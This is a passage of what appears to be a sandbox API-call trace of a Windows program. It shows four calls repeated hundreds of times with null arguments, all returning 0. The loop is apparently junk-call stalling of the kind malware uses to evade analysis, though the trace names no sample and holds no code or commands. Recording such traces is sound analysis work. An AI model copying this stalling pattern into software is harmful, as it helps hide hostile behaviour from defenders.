	[0069.835] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.835] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.835] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.835] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.835] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.835] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.835] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.835] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.835] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.835] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.835] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.835] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.835] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.835] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.835] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.835] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.836] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.836] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.836] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.836] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.836] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.836] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.836] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.836] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.836] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.836] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.836] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.836] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.836] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.836] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.836] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.836] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.836] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.836] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.836] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.836] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.836] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.836] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.836] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.836] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.836] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.836] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.836] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.836] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.836] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.836] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.837] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.837] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.837] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.837] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.837] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.837] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.837] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.837] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.837] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.837] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.837] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.837] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.837] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.837] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.837] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.837] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.837] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.837] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.837] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.837] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.837] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.837] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.837] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.837] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.837] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.837] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.837] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.837] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.837] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.837] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.837] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.837] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.837] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.837] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.837] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.837] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.837] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.838] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.838] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.838] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.838] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.838] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.838] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.838] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.838] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.838] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.838] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.838] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.838] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.838] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.838] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.838] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.838] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.838] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.838] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.838] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.838] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.838] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.838] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.838] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.838] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.838] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.838] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.838] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.838] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.838] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.838] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.838] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.838] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.838] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.838] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.839] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.839] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.839] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.839] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.839] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.839] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.839] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.839] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.839] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.839] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.839] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.839] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.839] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.839] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.839] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.839] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.839] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.839] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.839] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.839] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.839] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.839] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.839] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.839] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.839] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.839] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.839] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.839] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.839] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.839] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.839] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.839] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.839] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.839] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.839] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.840] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.840] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.840] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.840] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.840] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.840] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.840] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.840] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.840] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.840] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.840] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.840] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.840] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.840] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.840] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.840] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.840] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.840] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.840] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.840] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.840] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.840] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.840] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.840] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.840] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.840] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.840] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.840] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.840] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.840] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.840] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.840] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.840] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.840] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.840] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.840] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.840] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.841] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.841] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.841] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.841] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.841] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.841] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.841] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.841] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.841] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.841] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.841] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.841] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.841] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.841] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.841] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.841] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.841] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.841] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.841] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.841] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.841] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.841] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.841] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.841] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.841] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.841] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.841] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.841] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.841] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.841] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.841] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.841] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.841] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.841] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.841] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.841] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.841] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.841] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.841] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.841] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.841] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.842] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.842] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.842] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.842] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.842] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.842] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.842] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.842] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.842] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.842] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.842] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.842] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.842] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.842] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.842] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.842] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.842] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.842] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.842] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.842] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.842] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.842] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.842] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.842] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.842] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.842] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.842] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.842] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.842] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.842] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.842] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.842] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.842] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.842] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.842] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.842] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.842] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.842] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.843] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.843] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.843] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.843] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.843] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.843] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.843] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.843] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.843] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.843] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.843] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.843] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.843] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.843] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.843] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.843] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.843] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.843] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.843] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.843] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.843] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.843] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.843] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.843] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.843] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.843] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.843] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.843] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.843] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.843] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.843] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.843] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.843] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.843] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.843] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.844] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.844] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.844] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.844] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.844] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.844] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.844] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.844] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.844] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.844] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.844] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.844] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.844] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.844] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.844] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.844] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.844] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.844] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.844] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.844] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.844] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
